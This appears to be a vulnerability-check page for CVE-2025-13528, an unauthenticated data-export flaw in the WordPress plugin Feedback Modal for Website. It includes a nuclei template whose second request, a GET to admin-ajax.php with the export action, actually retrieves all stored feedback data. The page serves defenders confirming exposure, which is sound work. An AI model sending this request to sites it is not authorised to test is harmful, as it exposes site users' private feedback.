Feedback Modal for Website <= 1.0.1 - Unauthenticated Feedback Export

mediumseverity

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

The Feedback Modal for Website plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'handle_export' function in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to export all feedback data in CSV or JSON format via the 'export_data' parameter.

Impact

Unauthenticated attackers can export all feedback data, leading to complete data disclosure.

Fix

Update to the latest version beyond 1.0.1.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/feedback-modal-for-website/readme.txt
Positive when: status_code == 200 and contains(tolower(body), "feedback modal for website") and regex("(?mi)^Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\\s*$", body)
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=nedwp_feedback_modal_export&export_type=json&export_data=1
Positive when: status_code == 200 and compare_versions(plugin_version, "<=v1.0.1") AND matches in header /(?mi)^Content-Disposition:\s*attachment;\s*filename=Feedback-[0-9]{4}-[0-9]{2}-…/ AND contains in header "application/download"

Run it with nuclei: nuclei -id CVE-2025-13528 -u <target>

The full check

id: CVE-2025-13528

info:
  name: Feedback Modal for Website <= 1.0.1 - Unauthenticated Feedback Export
  author: coffeetaro_12
  severity: medium
  description: |
    The Feedback Modal for Website plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'handle_export' function in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to export all feedback data in CSV or JSON format via the 'export_data' parameter.
  impact: |
    Unauthenticated attackers can export all feedback data, leading to complete data disclosure.
  remediation: |
    Update to the latest version beyond 1.0.1.
  reference:
    - https://wpscan.com/vulnerability/fbba8734-482e-4c22-9ee9-12e807a68ccc/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13528
  classification:
    cve-id: CVE-2025-13528
    epss-score: 0.0096
    epss-percentile: 0.61813
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,wordpress,wp-plugin,feedback-modal,unauth,info-disclosure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/feedback-modal-for-website/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(tolower(body), "feedback modal for website")'
          - 'regex("(?mi)^Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\\s*$", body)'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        internal: true
        regex:
          - '(?mi)^Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)\s*$'

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=nedwp_feedback_modal_export&export_type=json&export_data=1"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'compare_versions(plugin_version, "<=v1.0.1")'
        condition: and

      - type: regex
        part: header
        regex:
          - '(?mi)^Content-Disposition:\s*attachment;\s*filename=Feedback-[0-9]{4}-[0-9]{2}-[0-9]{2}\.json\s*$'

      - type: word
        part: header
        words:
          - "application/download"

References

Use this check only on systems you are authorised to test. Where the data comes from